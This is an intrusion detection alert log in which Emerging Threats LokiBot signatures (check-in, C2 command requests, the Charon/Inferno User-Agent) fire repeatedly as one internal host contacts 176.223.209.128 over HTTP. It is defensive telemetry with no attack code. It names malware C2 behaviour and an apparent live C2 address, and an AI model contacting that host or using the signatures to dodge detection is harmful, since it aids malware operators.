11/25/21-10:51:11.173859	TCP	2025381	ET TROJAN LokiBot Checkin	50197	80	192.168.11.20	176.223.209.128
11/25/21-10:51:11.173859	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50197	80	192.168.11.20	176.223.209.128
11/25/21-10:51:11.656343	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50198	80	192.168.11.20	176.223.209.128
11/25/21-10:51:11.656343	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50198	80	192.168.11.20	176.223.209.128
11/25/21-10:51:11.656343	TCP	2025381	ET TROJAN LokiBot Checkin	50198	80	192.168.11.20	176.223.209.128
11/25/21-10:51:11.656343	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50198	80	192.168.11.20	176.223.209.128
11/25/21-10:51:12.172382	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50199	80	192.168.11.20	176.223.209.128
11/25/21-10:51:12.172382	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50199	80	192.168.11.20	176.223.209.128
11/25/21-10:51:12.172382	TCP	2025381	ET TROJAN LokiBot Checkin	50199	80	192.168.11.20	176.223.209.128
11/25/21-10:51:12.172382	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50199	80	192.168.11.20	176.223.209.128
11/25/21-10:51:12.686144	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50200	80	192.168.11.20	176.223.209.128
11/25/21-10:51:12.686144	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50200	80	192.168.11.20	176.223.209.128
11/25/21-10:51:12.686144	TCP	2025381	ET TROJAN LokiBot Checkin	50200	80	192.168.11.20	176.223.209.128
11/25/21-10:51:12.686144	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50200	80	192.168.11.20	176.223.209.128
11/25/21-10:51:13.206222	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50201	80	192.168.11.20	176.223.209.128
11/25/21-10:51:13.206222	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50201	80	192.168.11.20	176.223.209.128
11/25/21-10:51:13.206222	TCP	2025381	ET TROJAN LokiBot Checkin	50201	80	192.168.11.20	176.223.209.128
11/25/21-10:51:13.206222	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50201	80	192.168.11.20	176.223.209.128
11/25/21-10:51:13.758899	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50202	80	192.168.11.20	176.223.209.128
11/25/21-10:51:13.758899	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50202	80	192.168.11.20	176.223.209.128
11/25/21-10:51:13.758899	TCP	2025381	ET TROJAN LokiBot Checkin	50202	80	192.168.11.20	176.223.209.128
11/25/21-10:51:13.758899	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50202	80	192.168.11.20	176.223.209.128
11/25/21-10:51:14.276834	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50203	80	192.168.11.20	176.223.209.128
11/25/21-10:51:14.276834	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50203	80	192.168.11.20	176.223.209.128
11/25/21-10:51:14.276834	TCP	2025381	ET TROJAN LokiBot Checkin	50203	80	192.168.11.20	176.223.209.128
11/25/21-10:51:14.276834	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50203	80	192.168.11.20	176.223.209.128
11/25/21-10:51:14.793079	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50204	80	192.168.11.20	176.223.209.128
11/25/21-10:51:14.793079	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50204	80	192.168.11.20	176.223.209.128
11/25/21-10:51:14.793079	TCP	2025381	ET TROJAN LokiBot Checkin	50204	80	192.168.11.20	176.223.209.128
11/25/21-10:51:14.793079	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50204	80	192.168.11.20	176.223.209.128
11/25/21-10:51:15.296671	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50205	80	192.168.11.20	176.223.209.128
11/25/21-10:51:15.296671	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50205	80	192.168.11.20	176.223.209.128
11/25/21-10:51:15.296671	TCP	2025381	ET TROJAN LokiBot Checkin	50205	80	192.168.11.20	176.223.209.128
11/25/21-10:51:15.296671	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50205	80	192.168.11.20	176.223.209.128
11/25/21-10:51:15.731165	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50206	80	192.168.11.20	176.223.209.128
11/25/21-10:51:15.731165	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50206	80	192.168.11.20	176.223.209.128
11/25/21-10:51:15.731165	TCP	2025381	ET TROJAN LokiBot Checkin	50206	80	192.168.11.20	176.223.209.128
11/25/21-10:51:15.731165	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50206	80	192.168.11.20	176.223.209.128
11/25/21-10:51:16.250456	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50207	80	192.168.11.20	176.223.209.128
11/25/21-10:51:16.250456	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50207	80	192.168.11.20	176.223.209.128
11/25/21-10:51:16.250456	TCP	2025381	ET TROJAN LokiBot Checkin	50207	80	192.168.11.20	176.223.209.128
11/25/21-10:51:16.250456	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50207	80	192.168.11.20	176.223.209.128
11/25/21-10:51:16.767595	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50208	80	192.168.11.20	176.223.209.128
11/25/21-10:51:16.767595	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50208	80	192.168.11.20	176.223.209.128
11/25/21-10:51:16.767595	TCP	2025381	ET TROJAN LokiBot Checkin	50208	80	192.168.11.20	176.223.209.128
11/25/21-10:51:16.767595	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50208	80	192.168.11.20	176.223.209.128
11/25/21-10:51:17.275025	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50209	80	192.168.11.20	176.223.209.128
11/25/21-10:51:17.275025	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50209	80	192.168.11.20	176.223.209.128
11/25/21-10:51:17.275025	TCP	2025381	ET TROJAN LokiBot Checkin	50209	80	192.168.11.20	176.223.209.128
11/25/21-10:51:17.275025	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50209	80	192.168.11.20	176.223.209.128
11/25/21-10:51:17.712223	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50211	80	192.168.11.20	176.223.209.128
11/25/21-10:51:17.712223	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50211	80	192.168.11.20	176.223.209.128
11/25/21-10:51:17.712223	TCP	2025381	ET TROJAN LokiBot Checkin	50211	80	192.168.11.20	176.223.209.128
11/25/21-10:51:17.712223	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50211	80	192.168.11.20	176.223.209.128
11/25/21-10:51:18.178122	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50212	80	192.168.11.20	176.223.209.128
11/25/21-10:51:18.178122	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50212	80	192.168.11.20	176.223.209.128
11/25/21-10:51:18.178122	TCP	2025381	ET TROJAN LokiBot Checkin	50212	80	192.168.11.20	176.223.209.128
11/25/21-10:51:18.178122	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50212	80	192.168.11.20	176.223.209.128
11/25/21-10:51:18.705661	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50213	80	192.168.11.20	176.223.209.128
11/25/21-10:51:18.705661	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50213	80	192.168.11.20	176.223.209.128
11/25/21-10:51:18.705661	TCP	2025381	ET TROJAN LokiBot Checkin	50213	80	192.168.11.20	176.223.209.128
11/25/21-10:51:18.705661	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50213	80	192.168.11.20	176.223.209.128
11/25/21-10:51:19.166859	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50214	80	192.168.11.20	176.223.209.128
11/25/21-10:51:19.166859	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50214	80	192.168.11.20	176.223.209.128
11/25/21-10:51:19.166859	TCP	2025381	ET TROJAN LokiBot Checkin	50214	80	192.168.11.20	176.223.209.128
11/25/21-10:51:19.166859	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50214	80	192.168.11.20	176.223.209.128
11/25/21-10:51:19.718417	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50215	80	192.168.11.20	176.223.209.128
11/25/21-10:51:19.718417	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50215	80	192.168.11.20	176.223.209.128
11/25/21-10:51:19.718417	TCP	2025381	ET TROJAN LokiBot Checkin	50215	80	192.168.11.20	176.223.209.128
11/25/21-10:51:19.718417	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50215	80	192.168.11.20	176.223.209.128
11/25/21-10:51:20.224991	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50216	80	192.168.11.20	176.223.209.128
11/25/21-10:51:20.224991	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50216	80	192.168.11.20	176.223.209.128
11/25/21-10:51:20.224991	TCP	2025381	ET TROJAN LokiBot Checkin	50216	80	192.168.11.20	176.223.209.128
11/25/21-10:51:20.224991	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50216	80	192.168.11.20	176.223.209.128
11/25/21-10:51:20.725136	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50217	80	192.168.11.20	176.223.209.128
11/25/21-10:51:20.725136	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50217	80	192.168.11.20	176.223.209.128
11/25/21-10:51:20.725136	TCP	2025381	ET TROJAN LokiBot Checkin	50217	80	192.168.11.20	176.223.209.128
11/25/21-10:51:20.725136	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50217	80	192.168.11.20	176.223.209.128
11/25/21-10:51:21.156398	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50218	80	192.168.11.20	176.223.209.128
11/25/21-10:51:21.156398	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50218	80	192.168.11.20	176.223.209.128
11/25/21-10:51:21.156398	TCP	2025381	ET TROJAN LokiBot Checkin	50218	80	192.168.11.20	176.223.209.128
11/25/21-10:51:21.156398	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50218	80	192.168.11.20	176.223.209.128
11/25/21-10:51:21.660669	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50219	80	192.168.11.20	176.223.209.128
11/25/21-10:51:21.660669	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50219	80	192.168.11.20	176.223.209.128
11/25/21-10:51:21.660669	TCP	2025381	ET TROJAN LokiBot Checkin	50219	80	192.168.11.20	176.223.209.128
11/25/21-10:51:21.660669	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50219	80	192.168.11.20	176.223.209.128
11/25/21-10:51:22.171066	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50220	80	192.168.11.20	176.223.209.128
11/25/21-10:51:22.171066	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50220	80	192.168.11.20	176.223.209.128
11/25/21-10:51:22.171066	TCP	2025381	ET TROJAN LokiBot Checkin	50220	80	192.168.11.20	176.223.209.128
11/25/21-10:51:22.171066	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50220	80	192.168.11.20	176.223.209.128
11/25/21-10:51:22.650390	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50221	80	192.168.11.20	176.223.209.128
11/25/21-10:51:22.650390	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50221	80	192.168.11.20	176.223.209.128
11/25/21-10:51:22.650390	TCP	2025381	ET TROJAN LokiBot Checkin	50221	80	192.168.11.20	176.223.209.128
11/25/21-10:51:22.650390	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50221	80	192.168.11.20	176.223.209.128
11/25/21-10:51:23.144422	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50222	80	192.168.11.20	176.223.209.128
11/25/21-10:51:23.144422	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50222	80	192.168.11.20	176.223.209.128
11/25/21-10:51:23.144422	TCP	2025381	ET TROJAN LokiBot Checkin	50222	80	192.168.11.20	176.223.209.128
11/25/21-10:51:23.144422	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50222	80	192.168.11.20	176.223.209.128
11/25/21-10:51:23.652940	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50223	80	192.168.11.20	176.223.209.128
11/25/21-10:51:23.652940	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50223	80	192.168.11.20	176.223.209.128
11/25/21-10:51:23.652940	TCP	2025381	ET TROJAN LokiBot Checkin	50223	80	192.168.11.20	176.223.209.128
11/25/21-10:51:23.652940	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50223	80	192.168.11.20	176.223.209.128
11/25/21-10:51:24.110114	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50224	80	192.168.11.20	176.223.209.128
11/25/21-10:51:24.110114	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50224	80	192.168.11.20	176.223.209.128
11/25/21-10:51:24.110114	TCP	2025381	ET TROJAN LokiBot Checkin	50224	80	192.168.11.20	176.223.209.128
11/25/21-10:51:24.110114	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50224	80	192.168.11.20	176.223.209.128
11/25/21-10:51:24.605768	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50225	80	192.168.11.20	176.223.209.128
11/25/21-10:51:24.605768	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50225	80	192.168.11.20	176.223.209.128
11/25/21-10:51:24.605768	TCP	2025381	ET TROJAN LokiBot Checkin	50225	80	192.168.11.20	176.223.209.128
11/25/21-10:51:24.605768	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50225	80	192.168.11.20	176.223.209.128
11/25/21-10:51:25.134458	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50226	80	192.168.11.20	176.223.209.128
11/25/21-10:51:25.134458	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50226	80	192.168.11.20	176.223.209.128
11/25/21-10:51:25.134458	TCP	2025381	ET TROJAN LokiBot Checkin	50226	80	192.168.11.20	176.223.209.128
11/25/21-10:51:25.134458	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50226	80	192.168.11.20	176.223.209.128
11/25/21-10:51:25.644833	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50227	80	192.168.11.20	176.223.209.128
11/25/21-10:51:25.644833	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50227	80	192.168.11.20	176.223.209.128
11/25/21-10:51:25.644833	TCP	2025381	ET TROJAN LokiBot Checkin	50227	80	192.168.11.20	176.223.209.128
11/25/21-10:51:25.644833	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50227	80	192.168.11.20	176.223.209.128
11/25/21-10:51:26.123164	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50228	80	192.168.11.20	176.223.209.128
11/25/21-10:51:26.123164	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50228	80	192.168.11.20	176.223.209.128
11/25/21-10:51:26.123164	TCP	2025381	ET TROJAN LokiBot Checkin	50228	80	192.168.11.20	176.223.209.128
11/25/21-10:51:26.123164	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50228	80	192.168.11.20	176.223.209.128
11/25/21-10:51:26.626690	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50229	80	192.168.11.20	176.223.209.128
11/25/21-10:51:26.626690	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50229	80	192.168.11.20	176.223.209.128
11/25/21-10:51:26.626690	TCP	2025381	ET TROJAN LokiBot Checkin	50229	80	192.168.11.20	176.223.209.128
11/25/21-10:51:26.626690	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50229	80	192.168.11.20	176.223.209.128
11/25/21-10:51:27.099310	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50230	80	192.168.11.20	176.223.209.128
11/25/21-10:51:27.099310	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50230	80	192.168.11.20	176.223.209.128
11/25/21-10:51:27.099310	TCP	2025381	ET TROJAN LokiBot Checkin	50230	80	192.168.11.20	176.223.209.128
11/25/21-10:51:27.099310	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50230	80	192.168.11.20	176.223.209.128
11/25/21-10:51:27.588196	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50231	80	192.168.11.20	176.223.209.128
11/25/21-10:51:27.588196	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50231	80	192.168.11.20	176.223.209.128
11/25/21-10:51:27.588196	TCP	2025381	ET TROJAN LokiBot Checkin	50231	80	192.168.11.20	176.223.209.128
11/25/21-10:51:27.588196	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50231	80	192.168.11.20	176.223.209.128
11/25/21-10:51:28.063644	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50232	80	192.168.11.20	176.223.209.128
11/25/21-10:51:28.063644	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50232	80	192.168.11.20	176.223.209.128
11/25/21-10:51:28.063644	TCP	2025381	ET TROJAN LokiBot Checkin	50232	80	192.168.11.20	176.223.209.128
11/25/21-10:51:28.063644	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50232	80	192.168.11.20	176.223.209.128
11/25/21-10:51:28.555425	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50233	80	192.168.11.20	176.223.209.128
11/25/21-10:51:28.555425	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50233	80	192.168.11.20	176.223.209.128
11/25/21-10:51:28.555425	TCP	2025381	ET TROJAN LokiBot Checkin	50233	80	192.168.11.20	176.223.209.128
11/25/21-10:51:28.555425	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50233	80	192.168.11.20	176.223.209.128
11/25/21-10:51:29.050192	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50234	80	192.168.11.20	176.223.209.128
11/25/21-10:51:29.050192	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50234	80	192.168.11.20	176.223.209.128
11/25/21-10:51:29.050192	TCP	2025381	ET TROJAN LokiBot Checkin	50234	80	192.168.11.20	176.223.209.128
11/25/21-10:51:29.050192	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50234	80	192.168.11.20	176.223.209.128
11/25/21-10:51:29.546638	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50235	80	192.168.11.20	176.223.209.128
11/25/21-10:51:29.546638	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50235	80	192.168.11.20	176.223.209.128
11/25/21-10:51:29.546638	TCP	2025381	ET TROJAN LokiBot Checkin	50235	80	192.168.11.20	176.223.209.128
11/25/21-10:51:29.546638	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50235	80	192.168.11.20	176.223.209.128
11/25/21-10:51:30.065751	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50236	80	192.168.11.20	176.223.209.128
11/25/21-10:51:30.065751	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50236	80	192.168.11.20	176.223.209.128
11/25/21-10:51:30.065751	TCP	2025381	ET TROJAN LokiBot Checkin	50236	80	192.168.11.20	176.223.209.128
11/25/21-10:51:30.065751	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50236	80	192.168.11.20	176.223.209.128
11/25/21-10:51:30.571082	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50237	80	192.168.11.20	176.223.209.128
11/25/21-10:51:30.571082	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50237	80	192.168.11.20	176.223.209.128
11/25/21-10:51:30.571082	TCP	2025381	ET TROJAN LokiBot Checkin	50237	80	192.168.11.20	176.223.209.128
11/25/21-10:51:30.571082	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50237	80	192.168.11.20	176.223.209.128
11/25/21-10:51:31.087433	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50238	80	192.168.11.20	176.223.209.128
11/25/21-10:51:31.087433	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50238	80	192.168.11.20	176.223.209.128
11/25/21-10:51:31.087433	TCP	2025381	ET TROJAN LokiBot Checkin	50238	80	192.168.11.20	176.223.209.128
11/25/21-10:51:31.087433	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50238	80	192.168.11.20	176.223.209.128
11/25/21-10:51:31.605421	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50239	80	192.168.11.20	176.223.209.128
11/25/21-10:51:31.605421	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50239	80	192.168.11.20	176.223.209.128
11/25/21-10:51:31.605421	TCP	2025381	ET TROJAN LokiBot Checkin	50239	80	192.168.11.20	176.223.209.128
11/25/21-10:51:31.605421	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50239	80	192.168.11.20	176.223.209.128
11/25/21-10:51:32.121427	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50240	80	192.168.11.20	176.223.209.128
11/25/21-10:51:32.121427	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50240	80	192.168.11.20	176.223.209.128
11/25/21-10:51:32.121427	TCP	2025381	ET TROJAN LokiBot Checkin	50240	80	192.168.11.20	176.223.209.128
11/25/21-10:51:32.121427	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50240	80	192.168.11.20	176.223.209.128
11/25/21-10:51:32.627208	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50241	80	192.168.11.20	176.223.209.128
11/25/21-10:51:32.627208	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50241	80	192.168.11.20	176.223.209.128
11/25/21-10:51:32.627208	TCP	2025381	ET TROJAN LokiBot Checkin	50241	80	192.168.11.20	176.223.209.128
11/25/21-10:51:32.627208	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50241	80	192.168.11.20	176.223.209.128
11/25/21-10:51:33.085055	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50242	80	192.168.11.20	176.223.209.128
11/25/21-10:51:33.085055	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50242	80	192.168.11.20	176.223.209.128
11/25/21-10:51:33.085055	TCP	2025381	ET TROJAN LokiBot Checkin	50242	80	192.168.11.20	176.223.209.128
11/25/21-10:51:33.085055	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50242	80	192.168.11.20	176.223.209.128
11/25/21-10:51:33.603281	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50243	80	192.168.11.20	176.223.209.128
11/25/21-10:51:33.603281	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50243	80	192.168.11.20	176.223.209.128
11/25/21-10:51:33.603281	TCP	2025381	ET TROJAN LokiBot Checkin	50243	80	192.168.11.20	176.223.209.128
11/25/21-10:51:33.603281	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50243	80	192.168.11.20	176.223.209.128
11/25/21-10:51:34.090457	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50244	80	192.168.11.20	176.223.209.128
11/25/21-10:51:34.090457	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50244	80	192.168.11.20	176.223.209.128
11/25/21-10:51:34.090457	TCP	2025381	ET TROJAN LokiBot Checkin	50244	80	192.168.11.20	176.223.209.128
11/25/21-10:51:34.090457	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50244	80	192.168.11.20	176.223.209.128
11/25/21-10:51:34.587918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50245	80	192.168.11.20	176.223.209.128
11/25/21-10:51:34.587918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50245	80	192.168.11.20	176.223.209.128
11/25/21-10:51:34.587918	TCP	2025381	ET TROJAN LokiBot Checkin	50245	80	192.168.11.20	176.223.209.128
11/25/21-10:51:34.587918	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50245	80	192.168.11.20	176.223.209.128
11/25/21-10:51:35.114157	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50246	80	192.168.11.20	176.223.209.128
11/25/21-10:51:35.114157	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50246	80	192.168.11.20	176.223.209.128
11/25/21-10:51:35.114157	TCP	2025381	ET TROJAN LokiBot Checkin	50246	80	192.168.11.20	176.223.209.128
11/25/21-10:51:35.114157	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50246	80	192.168.11.20	176.223.209.128
11/25/21-10:51:35.578964	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50247	80	192.168.11.20	176.223.209.128
11/25/21-10:51:35.578964	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50247	80	192.168.11.20	176.223.209.128
11/25/21-10:51:35.578964	TCP	2025381	ET TROJAN LokiBot Checkin	50247	80	192.168.11.20	176.223.209.128
11/25/21-10:51:35.578964	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50247	80	192.168.11.20	176.223.209.128
11/25/21-10:51:36.082511	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50248	80	192.168.11.20	176.223.209.128
11/25/21-10:51:36.082511	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50248	80	192.168.11.20	176.223.209.128
11/25/21-10:51:36.082511	TCP	2025381	ET TROJAN LokiBot Checkin	50248	80	192.168.11.20	176.223.209.128
11/25/21-10:51:36.082511	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50248	80	192.168.11.20	176.223.209.128
11/25/21-10:51:36.600596	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50249	80	192.168.11.20	176.223.209.128
11/25/21-10:51:36.600596	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50249	80	192.168.11.20	176.223.209.128
11/25/21-10:51:36.600596	TCP	2025381	ET TROJAN LokiBot Checkin	50249	80	192.168.11.20	176.223.209.128
11/25/21-10:51:36.600596	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50249	80	192.168.11.20	176.223.209.128
11/25/21-10:51:37.097490	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50250	80	192.168.11.20	176.223.209.128
11/25/21-10:51:37.097490	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50250	80	192.168.11.20	176.223.209.128
11/25/21-10:51:37.097490	TCP	2025381	ET TROJAN LokiBot Checkin	50250	80	192.168.11.20	176.223.209.128
11/25/21-10:51:37.097490	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50250	80	192.168.11.20	176.223.209.128
11/25/21-10:51:37.589318	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50251	80	192.168.11.20	176.223.209.128
11/25/21-10:51:37.589318	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50251	80	192.168.11.20	176.223.209.128
11/25/21-10:51:37.589318	TCP	2025381	ET TROJAN LokiBot Checkin	50251	80	192.168.11.20	176.223.209.128
11/25/21-10:51:37.589318	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50251	80	192.168.11.20	176.223.209.128
11/25/21-10:51:38.094882	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50252	80	192.168.11.20	176.223.209.128
11/25/21-10:51:38.094882	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50252	80	192.168.11.20	176.223.209.128
11/25/21-10:51:38.094882	TCP	2025381	ET TROJAN LokiBot Checkin	50252	80	192.168.11.20	176.223.209.128
11/25/21-10:51:38.094882	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50252	80	192.168.11.20	176.223.209.128
